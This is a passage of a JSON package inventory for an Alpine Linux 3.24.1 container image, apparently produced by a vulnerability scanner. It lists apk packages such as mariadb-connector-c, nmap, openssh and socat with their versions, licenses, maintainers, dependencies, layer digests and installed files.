"Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:701bd1e29ab892e1c139f1faba612fecb46a3188", "InstalledFiles": [ "usr/lib/liblua-5.4.so.0", "usr/lib/liblua-5.4.so.0.0.0", "usr/lib/lua5.4/liblua-5.4.so.0", "usr/lib/lua5.4/liblua-5.4.so.0.0.0" ], "AnalyzedBy": "apk" }, { "ID": "mariadb-connector-c@3.4.6-r0", "Name": "mariadb-connector-c", "Identifier": { "PURL": "pkg:apk/alpine/mariadb-connector-c@3.4.6-r0?arch=x86_64\u0026distro=3.24.1", "UID": "bd63bac9ba03c10f" }, "Version": "3.4.6-r0", "Arch": "x86_64", "SrcName": "mariadb-connector-c", "SrcVersion": "3.4.6-r0", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "libssl3@3.5.7-r0", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:a2988b532144fe3b8d24f01c2c5cce0cb966a46c", "InstalledFiles": [ "usr/lib/libmariadb.so.3", "usr/lib/mariadb/plugin/caching_sha2_password.so", "usr/lib/mariadb/plugin/client_ed25519.so", "usr/lib/mariadb/plugin/dialog.so", "usr/lib/mariadb/plugin/mysql_clear_password.so", "usr/lib/mariadb/plugin/parsec.so", "usr/lib/mariadb/plugin/sha256_password.so" ], "AnalyzedBy": "apk" }, { "ID": "mbedtls3@3.6.6-r0", "Name": "mbedtls3", "Identifier": { "PURL": "pkg:apk/alpine/mbedtls3@3.6.6-r0?arch=x86_64\u0026distro=3.24.1", "UID": "16f7a7208c9e86d8" }, "Version": "3.6.6-r0", "Arch": "x86_64", "SrcName": "mbedtls3", "SrcVersion": "3.6.6-r0", "Licenses": [ "Apache-2.0", "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:59170f3a98092527060c58f356392f7b19010db3", "InstalledFiles": [ "usr/lib/libmbedcrypto.so.16", "usr/lib/libmbedcrypto.so.3.6.6", "usr/lib/libmbedtls.so.21", "usr/lib/libmbedtls.so.3.6.6", "usr/lib/libmbedx509.so.3.6.6", "usr/lib/libmbedx509.so.7" ], "AnalyzedBy": "apk" }, { "ID": "mii-tool@2.10-r3", "Name": "mii-tool", "Identifier": { "PURL": "pkg:apk/alpine/mii-tool@2.10-r3?arch=x86_64\u0026distro=3.24.1", "UID": "5417fe41ceb1380b" }, "Version": "2.10-r3", "Arch": "x86_64", "SrcName": "net-tools", "SrcVersion": "2.10-r3", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:dd3040374149737807c5e7c408134c62de173f6b", "InstalledFiles": [ "sbin/mii-tool" ], "AnalyzedBy": "apk" }, { "ID": "mpdecimal@4.0.1-r0", "Name": "mpdecimal", "Identifier": { "PURL": "pkg:apk/alpine/mpdecimal@4.0.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "2a455f9640755313" }, "Version": "4.0.1-r0", "Arch": "x86_64", "SrcName": "mpdecimal", "SrcVersion": "4.0.1-r0", "Licenses": [ "BSD-2-Clause" ], "Maintainer": "Stefan Stutz \u003cstutz@pm.me\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "Digest": "sha1:0c81ceb0e8b5966b3c30f557b58d9c6fe46f6ef6", "InstalledFiles": [ "usr/lib/libmpdec++.so.4", "usr/lib/libmpdec++.so.4.0.1", "usr/lib/libmpdec.so.4", "usr/lib/libmpdec.so.4.0.1" ], "AnalyzedBy": "apk" }, { "ID": "mpg123-libs@1.33.5-r0", "Name": "mpg123-libs", "Identifier": { "PURL": "pkg:apk/alpine/mpg123-libs@1.33.5-r0?arch=x86_64\u0026distro=3.24.1", "UID": "e72295b51f8b9814" }, "Version": "1.33.5-r0", "Arch": "x86_64", "SrcName": "mpg123", "SrcVersion": "1.33.5-r0", "Licenses": [ "LGPL-2.1-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:617b11b4b5c608af7255677f9099a4b7acd74290", "InstalledFiles": [ "usr/lib/libmpg123.so.0", "usr/lib/libmpg123.so.0.49.4", "usr/lib/libout123.so.0", "usr/lib/libout123.so.0.5.2", "usr/lib/libsyn123.so.0", "usr/lib/libsyn123.so.0.2.3" ], "AnalyzedBy": "apk" }, { "ID": "musl@1.2.6-r2", "Name": "musl", "Identifier": { "PURL": "pkg:apk/alpine/musl@1.2.6-r2?arch=x86_64\u0026distro=3.24.1", "UID": "1f8cb44befe503d4" }, "Version": "1.2.6-r2", "Arch": "x86_64", "SrcName": "musl", "SrcVersion": "1.2.6-r2", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:0f7e5827e4e1a73631beda27b78431a8ba240e05", "InstalledFiles": [ "lib/ld-musl-x86_64.so.1", "lib/libc.musl-x86_64.so.1" ], "AnalyzedBy": "apk" }, { "ID": "musl-utils@1.2.6-r2", "Name": "musl-utils", "Identifier": { "PURL": "pkg:apk/alpine/musl-utils@1.2.6-r2?arch=x86_64\u0026distro=3.24.1", "UID": "4497482ec1d943e1" }, "Version": "1.2.6-r2", "Arch": "x86_64", "SrcName": "musl", "SrcVersion": "1.2.6-r2", "Licenses": [ "MIT", "BSD-2-Clause", "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2", "scanelf@1.3.9-r1" ], "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:75ada3c48d63ec5d87c42fdf934a3fdd11298dc5", "InstalledFiles": [ "sbin/ldconfig", "usr/bin/getconf", "usr/bin/getent", "usr/bin/iconv", "usr/bin/ldd" ], "AnalyzedBy": "apk" }, { "ID": "ncurses-terminfo-base@6.6_p20260516-r0", "Name": "ncurses-terminfo-base", "Identifier": { "PURL": "pkg:apk/alpine/ncurses-terminfo-base@6.6_p20260516-r0?arch=x86_64\u0026distro=3.24.1", "UID": "e7fac5c6a6e9ae8" }, "Version": "6.6_p20260516-r0", "Arch": "x86_64", "SrcName": "ncurses", "SrcVersion": "6.6_p20260516-r0", "Licenses": [ "X-11" ], "Maintainer": "Milan P. Stanić \u003cmps@arvanta.net\u003e", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:9d551d828e9c8ee52c5801c1d6046828ebf15752", "InstalledFiles": [ "etc/terminfo/a/alacritty", "etc/terminfo/a/ansi", "etc/terminfo/d/dumb", "etc/terminfo/g/gnome", "etc/terminfo/g/gnome-256color", "etc/terminfo/k/konsole", "etc/terminfo/k/konsole-256color", "etc/terminfo/k/konsole-linux", "etc/terminfo/l/linux", "etc/terminfo/p/putty", "etc/terminfo/p/putty-256color", "etc/terminfo/r/rxvt", "etc/terminfo/r/rxvt-256color", "etc/terminfo/s/screen", "etc/terminfo/s/screen-256color", "etc/terminfo/s/st-0.6", "etc/terminfo/s/st-0.7", "etc/terminfo/s/st-0.8", "etc/terminfo/s/st-0.8.5", "etc/terminfo/s/st-16color", "etc/terminfo/s/st-256color", "etc/terminfo/s/st-direct", "etc/terminfo/s/sun", "etc/terminfo/t/terminator", "etc/terminfo/t/terminology", "etc/terminfo/t/terminology-0.6.1", "etc/terminfo/t/terminology-1.0.0", "etc/terminfo/t/terminology-1.8.1", "etc/terminfo/t/tmux", "etc/terminfo/t/tmux-256color", "etc/terminfo/v/vt100", "etc/terminfo/v/vt102", "etc/terminfo/v/vt200", "etc/terminfo/v/vt220", "etc/terminfo/v/vt52", "etc/terminfo/v/vte", "etc/terminfo/v/vte-256color", "etc/terminfo/x/xterm", "etc/terminfo/x/xterm-256color", "etc/terminfo/x/xterm-color", "etc/terminfo/x/xterm-xfree86" ], "AnalyzedBy": "apk" }, { "ID": "net-tools@2.10-r3", "Name": "net-tools", "Identifier": { "PURL": "pkg:apk/alpine/net-tools@2.10-r3?arch=x86_64\u0026distro=3.24.1", "UID": "79a859d01be54a86" }, "Version": "2.10-r3", "Arch": "x86_64", "SrcName": "net-tools", "SrcVersion": "2.10-r3", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "mii-tool@2.10-r3", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:4464ec96dbf9f8989fc534e0910d370ebbf6cc4b", "InstalledFiles": [ "bin/dnsdomainname", "bin/domainname", "bin/hostname", "bin/netstat", "bin/nisdomainname", "bin/route", "bin/ypdomainname", "sbin/arp", "sbin/ifconfig", "sbin/ipmaddr", "sbin/iptunnel", "sbin/nameif", "sbin/plipconfig", "sbin/rarp", "sbin/slattach" ], "AnalyzedBy": "apk" }, { "ID": "nghttp2-libs@1.69.0-r0", "Name": "nghttp2-libs", "Identifier": { "PURL": "pkg:apk/alpine/nghttp2-libs@1.69.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "cdceee5bd778a45c" }, "Version": "1.69.0-r0", "Arch": "x86_64", "SrcName": "nghttp2", "SrcVersion": "1.69.0-r0", "Licenses": [ "MIT" ], "Maintainer": "Francesco Colista \u003cfcolista@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:5331b8c641f7a9091ce2f43dad2a99851c4f4b12", "InstalledFiles": [ "usr/lib/libnghttp2.so.14", "usr/lib/libnghttp2.so.14.29.4" ], "AnalyzedBy": "apk" }, { "ID": "nmap@7.99-r0", "Name": "nmap", "Identifier": { "PURL": "pkg:apk/alpine/nmap@7.99-r0?arch=x86_64\u0026distro=3.24.1", "UID": "54693058158ebfc7" }, "Version": "7.99-r0", "Arch": "x86_64", "SrcName": "nmap", "SrcVersion": "7.99-r0", "Licenses": [ "custom" ], "Maintainer": "Leonardo Arena \u003crnalrd@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "libgcc@15.2.0-r5", "libpcap@1.10.6-r1", "libssh2@1.11.1-r3", "libssl3@3.5.7-r0", "libstdc++@15.2.0-r5", "lua5.4-libs@5.4.8-r0", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:489ab2b15c2b94571018b1cbb62c5208a352a1c2", "InstalledFiles": [ "usr/bin/nmap", "usr/share/ncat/ca-bundle.crt", "usr/share/nmap/nmap-mac-prefixes", "usr/share/nmap/nmap-os-db", "usr/share/nmap/nmap-protocols", "usr/share/nmap/nmap-rpc", "usr/share/nmap/nmap-service-probes", "usr/share/nmap/nmap-services", "usr/share/nmap/nmap.dtd", "usr/share/nmap/nmap.xsl" ], "AnalyzedBy": "apk" }, { "ID": "numactl@2.0.19-r0", "Name": "numactl", "Identifier": { "PURL": "pkg:apk/alpine/numactl@2.0.19-r0?arch=x86_64\u0026distro=3.24.1", "UID": "1f6ded8d594e40ed" }, "Version": "2.0.19-r0", "Arch": "x86_64", "SrcName": "numactl", "SrcVersion": "2.0.19-r0", "Licenses": [ "LGPL-2.1-only" ], "Maintainer": "Daniel Sabogal \u003cdsabogalcc@gmail.com\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:3dc00e56b79f43926b5f12b53cc3eb9ed0906786", "InstalledFiles": [ "usr/lib/libnuma.so.1", "usr/lib/libnuma.so.1.0.0" ], "AnalyzedBy": "apk" }, { "ID": "oniguruma@6.9.10-r0", "Name": "oniguruma", "Identifier": { "PURL": "pkg:apk/alpine/oniguruma@6.9.10-r0?arch=x86_64\u0026distro=3.24.1", "UID": "88972bffb3125234" }, "Version": "6.9.10-r0", "Arch": "x86_64", "SrcName": "oniguruma", "SrcVersion": "6.9.10-r0", "Licenses": [ "BSD-2-Clause" ], "Maintainer": "Francesco Colista \u003cfcolista@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:a1a67fc3afbdabdef527ab9b7d84cf8426a40152", "InstalledFiles": [ "usr/lib/libonig.so.5", "usr/lib/libonig.so.5.5.0" ], "AnalyzedBy": "apk" }, { "ID": "openssh-client-common@10.3_p1-r0", "Name": "openssh-client-common", "Identifier": { "PURL": "pkg:apk/alpine/openssh-client-common@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a0d5a934ebf79cc4" }, "Version": "10.3_p1-r0", "Arch": "x86_64", "SrcName": "openssh", "SrcVersion": "10.3_p1-r0", "Licenses": [ "SSH-OpenSSH" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "libedit@20260508.3.1-r1", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:e223bc7a57d52ef4ad56d95c6b8fbc4f2bccdac2", "InstalledFiles": [ "etc/ssh/moduli", "etc/ssh/ssh_config", "usr/bin/findssl.sh", "usr/bin/scp", "usr/bin/sftp", "usr/bin/ssh-add", "usr/bin/ssh-agent", "usr/bin/ssh-copy-id", "usr/bin/ssh-keyscan", "usr/bin/ssh-pkcs11-helper" ], "AnalyzedBy": "apk" }, { "ID": "openssh-client-default@10.3_p1-r0", "Name": "openssh-client-default", "Identifier": { "PURL": "pkg:apk/alpine/openssh-client-default@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "edad7dffbb08705e" }, "Version": "10.3_p1-r0", "Arch": "x86_64", "SrcName": "openssh", "SrcVersion": "10.3_p1-r0", "Licenses": [ "SSH-OpenSSH" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "musl@1.2.6-r2", "openssh-client-common@10.3_p1-r0", "openssh-keygen@10.3_p1-r0", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:452875f3421b9cf545a733c122bbf4404170a784", "InstalledFiles": [ "usr/bin/ssh" ], "AnalyzedBy": "apk" }, { "ID": "openssh-keygen@10.3_p1-r0", "Name": "openssh-keygen", "Identifier": { "PURL": "pkg:apk/alpine/openssh-keygen@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "f664307121e99b5c" }, "Version": "10.3_p1-r0", "Arch": "x86_64", "SrcName": "openssh", "SrcVersion": "10.3_p1-r0", "Licenses": [ "SSH-OpenSSH" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:9343220e78d29744d0d9f5e61e1390b5ca8b690a", "InstalledFiles": [ "usr/bin/ssh-keygen" ], "AnalyzedBy": "apk" }, { "ID": "opus@1.6.1-r0", "Name": "opus", "Identifier": { "PURL": "pkg:apk/alpine/opus@1.6.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "d1af721527536353" }, "Version": "1.6.1-r0", "Arch": "x86_64", "SrcName": "opus", "SrcVersion": "1.6.1-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Francesco Colista \u003cfcolista@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:0c71c13b5cf27862535ddb8fa261f9623c7a88f2", "InstalledFiles": [ "usr/lib/libopus.so.0", "usr/lib/libopus.so.0.11.1" ], "AnalyzedBy": "apk" }, { "ID": "orc@0.4.41-r0", "Name": "orc", "Identifier": { "PURL": "pkg:apk/alpine/orc@0.4.41-r0?arch=x86_64\u0026distro=3.24.1", "UID": "fe6e66f5b510f187" }, "Version": "0.4.41-r0", "Arch": "x86_64", "SrcName": "orc", "SrcVersion": "0.4.41-r0", "Licenses": [ "BSD-2-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:48eed092ee1eef4d0d88a608fcadb3241e6b796d", "InstalledFiles": [ "usr/lib/liborc-0.4.so.0", "usr/lib/liborc-0.4.so.0.41.0" ], "AnalyzedBy": "apk" }, { "ID": "p8-platform@2.1.0.1-r3", "Name": "p8-platform", "Identifier": { "PURL": "pkg:apk/alpine/p8-platform@2.1.0.1-r3?arch=x86_64\u0026distro=3.24.1", "UID": "d0d8d306046741f0" }, "Version": "2.1.0.1-r3", "Arch": "x86_64", "SrcName": "p8-platform", "SrcVersion": "2.1.0.1-r3", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Róbert Nagy \u003cvrnagy@gmail.com\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:e1bff187b42c74c5c60ca99bc8826a8ea34251cc", "InstalledFiles": [ "usr/lib/libp8-platform.so.2", "usr/lib/libp8-platform.so.2.1.0" ], "AnalyzedBy": "apk" }, { "ID": "pcre2@10.47-r1", "Name": "pcre2", "Identifier": { "PURL": "pkg:apk/alpine/pcre2@10.47-r1?arch=x86_64\u0026distro=3.24.1", "UID": "ac141a1d132fce5b" }, "Version": "10.47-r1", "Arch": "x86_64", "SrcName": "pcre2", "SrcVersion": "10.47-r1", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:8ad6119a4a26044922b96cd8e2fc82f36a256de8", "InstalledFiles": [ "usr/lib/libpcre2-8.so.0", "usr/lib/libpcre2-8.so.0.15.0", "usr/lib/libpcre2-posix.so.3", "usr/lib/libpcre2-posix.so.3.0.7" ], "AnalyzedBy": "apk" }, { "ID": "pianobar@2024.12.21-r2", "Name": "pianobar", "Identifier": { "PURL": "pkg:apk/alpine/pianobar@2024.12.21-r2?arch=x86_64\u0026distro=3.24.1", "UID": "7e381c86b61b8f6c" }, "Version": "2024.12.21-r2", "Arch": "x86_64", "SrcName": "pianobar", "SrcVersion": "2024.12.21-r2", "Licenses": [ "MIT" ], "Maintainer": "Mike Crute \u003cmike@crute.us\u003e", "DependsOn": [ "ffmpeg-libavcodec@8.1.2-r0", "ffmpeg-libavfilter@8.1.2-r0", "ffmpeg-libavformat@8.1.2-r0", "ffmpeg-libavutil@8.1.2-r0", "json-c@0.18-r1", "libao@1.2.2-r3", "libcurl@8.20.0-r1", "libgcrypt@1.12.2-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:693dddf5c4b659d0f433b5357b2de99d0478b460", "InstalledFiles": [ "usr/bin/pianobar" ], "AnalyzedBy": "apk" }, { "ID": "popt@1.19-r4", "Name": "popt", "Identifier": { "PURL": "pkg:apk/alpine/popt@1.19-r4?arch=x86_64\u0026distro=3.24.1", "UID": "11dfc36210fb4498" }, "Version": "1.19-r4", "Arch": "x86_64", "SrcName": "popt", "SrcVersion": "1.19-r4", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:d8ee5819754d18336f3efac96981470397a416e7", "InstalledFiles": [ "usr/lib/libpopt.so.0", "usr/lib/libpopt.so.0.0.2" ], "AnalyzedBy": "apk" }, { "ID": "protobuf-c@1.5.2-r2", "Name": "protobuf-c", "Identifier": { "PURL": "pkg:apk/alpine/protobuf-c@1.5.2-r2?arch=x86_64\u0026distro=3.24.1", "UID": "4fc0bcabb5ea702" }, "Version": "1.5.2-r2", "Arch": "x86_64", "SrcName": "protobuf-c", "SrcVersion": "1.5.2-r2", "Licenses": [ "BSD-2-Clause" ], "Maintainer": "Leonardo Arena \u003crnalrd@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:cd93c014d6b871eca20ab38c7b1eca270b2f3b71", "InstalledFiles": [ "usr/lib/libprotobuf-c.so.1", "usr/lib/libprotobuf-c.so.1.0.0" ], "AnalyzedBy": "apk" }, { "ID": "pulseaudio-alsa@17.0-r7", "Name": "pulseaudio-alsa", "Identifier": { "PURL": "pkg:apk/alpine/pulseaudio-alsa@17.0-r7?arch=x86_64\u0026distro=3.24.1", "UID": "e655feefc4ff8c4a" }, "Version": "17.0-r7", "Arch": "x86_64", "SrcName": "pulseaudio", "SrcVersion": "17.0-r7", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Pablo Correa Gomez \u003cpabloyoyoista@postmarketos.org\u003e", "DependsOn": [ "alsa-lib@1.2.15.3-r0", "dbus-libs@1.16.2-r2", "eudev-libs@3.2.14-r6", "libintl@1.0-r0", "libpulse@17.0-r7", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:e456bdada394388ea7e28728d71f275a6b9c01fe", "InstalledFiles": [ "usr/lib/pulseaudio/modules/libalsa-util.so", "usr/lib/pulseaudio/modules/module-alsa-card.so", "usr/lib/pulseaudio/modules/module-alsa-sink.so", "usr/lib/pulseaudio/modules/module-alsa-source.so" ], "AnalyzedBy": "apk" }, { "ID": "rav1e-libs@0.8.1-r0", "Name": "rav1e-libs", "Identifier": { "PURL": "pkg:apk/alpine/rav1e-libs@0.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "e169fa0c7a5fe052" }, "Version": "0.8.1-r0", "Arch": "x86_64", "SrcName": "rav1e", "SrcVersion": "0.8.1-r0", "Licenses": [ "BSD-2-Clause", "custom" ], "Maintainer": "Oleg Titov \u003coleg.titov@gmail.com\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:e221b7a5bef3e3962d99bc8ec8ef1d1b3bd0bb9f", "InstalledFiles": [ "usr/lib/librav1e.so.0.8", "usr/lib/librav1e.so.0.8.1" ], "AnalyzedBy": "apk" }, { "ID": "readline@8.3.3-r1", "Name": "readline", "Identifier": { "PURL": "pkg:apk/alpine/readline@8.3.3-r1?arch=x86_64\u0026distro=3.24.1", "UID": "f50058781c93e1f2" }, "Version": "8.3.3-r1", "Arch": "x86_64", "SrcName": "readline", "SrcVersion": "8.3.3-r1", "Licenses": [ "GPL-3.0-or-later" ], "Maintainer": "qaqland \u003cqaq@qaq.land\u003e", "DependsOn": [ "libncursesw@6.6_p20260516-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:945b16e378bc00e44d89d4de8124bba7647fdf4d", "InstalledFiles": [ "etc/inputrc", "usr/lib/libreadline.so.8", "usr/lib/libreadline.so.8.3" ], "AnalyzedBy": "apk" }, { "ID": "scanelf@1.3.9-r1", "Name": "scanelf", "Identifier": { "PURL": "pkg:apk/alpine/scanelf@1.3.9-r1?arch=x86_64\u0026distro=3.24.1", "UID": "936394657a1626fb" }, "Version": "1.3.9-r1", "Arch": "x86_64", "SrcName": "pax-utils", "SrcVersion": "1.3.9-r1", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:013f903d0ba219673aebbdd04f74bb5ed82b01f0", "InstalledFiles": [ "usr/bin/scanelf" ], "AnalyzedBy": "apk" }, { "ID": "serd-libs@0.32.8-r0", "Name": "serd-libs", "Identifier": { "PURL": "pkg:apk/alpine/serd-libs@0.32.8-r0?arch=x86_64\u0026distro=3.24.1", "UID": "5e2a95b503c4c2db" }, "Version": "0.32.8-r0", "Arch": "x86_64", "SrcName": "serd", "SrcVersion": "0.32.8-r0", "Licenses": [ "ISC" ], "Maintainer": "David Demelier \u003cmarkand@malikania.fr\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:2abcf86da94e7b20d3808ed33192a7ba58702b13", "InstalledFiles": [ "usr/lib/libserd-0.so.0", "usr/lib/libserd-0.so.0.32.8" ], "AnalyzedBy": "apk" }, { "ID": "shaderc@2026.1-r0", "Name": "shaderc", "Identifier": { "PURL": "pkg:apk/alpine/shaderc@2026.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9a13bc7596a98dff" }, "Version": "2026.1-r0", "Arch": "x86_64", "SrcName": "shaderc", "SrcVersion": "2026.1-r0", "Licenses": [ "Apache-2.0" ], "Maintainer": "Simon Zeni \u003csimon@bl4ckb0ne.ca\u003e", "DependsOn": [ "glslang-libs@1.4.341.0-r0", "libgcc@15.2.0-r5", "libstdc++@15.2.0-r5", "musl@1.2.6-r2", "spirv-tools@1.4.341.0-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:ee275e76ed3af3ad335028bc6d76101bd2061fbb", "InstalledFiles": [ "usr/bin/glslc", "usr/lib/libshaderc_shared.so.1" ], "AnalyzedBy": "apk" }, { "ID": "socat@1.8.1.3-r0", "Name": "socat", "Identifier": { "PURL": "pkg:apk/alpine/socat@1.8.1.3-r0?arch=x86_64\u0026distro=3.24.1", "UID": "38404ed12c1a7fa2" }, "Version": "1.8.1.3-r0", "Arch": "x86_64", "SrcName": "socat", "SrcVersion": "1.8.1.3-r0", "Licenses": [ "GPL-2.0-only WITH OpenSSL-Exception" ], "Maintainer": "mio \u003cmiyopan@e.email\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "libssl3@3.5.7-r0", "musl@1.2.6-r2", "readline@8.3.3-r1" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:fd8748918ae73006543fef797566b5a7ef964f94", "InstalledFiles": [ "usr/bin/filan", "usr/bin/procan", "usr/bin/socat", "usr/bin/socat1" ], "AnalyzedBy": "apk" }, { "ID": "sord-libs@0.16.22-r0", "Name": "sord-libs", "Identifier": { "PURL": "pkg:apk/alpine/sord-libs@0.16.22-r0?arch=x86_64\u0026distro=3.24.1", "UID": "b924047fd327303" }, "Version": "0.16.22-r0", "Arch": "x86_64", "SrcName": "sord", "SrcVersion": "0.16.22-r0", "Licenses": [ "ISC" ], "Maintainer": "David Demelier \u003cmarkand@malikania.fr\u003e", "DependsOn": [ "musl@1.2.6-r2", "serd-libs@0.32.8-r0", "zix-libs@0.8.0-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:cc70f68111af109fade023b93fcf1a298cfe2f22", "InstalledFiles": [ "usr/lib/libsord-0.so.0", "usr/lib/libsord-0.so.0.16.22" ], "AnalyzedBy": "apk" }, { "ID": "soxr@0.1.3-r7", "Name": "soxr", 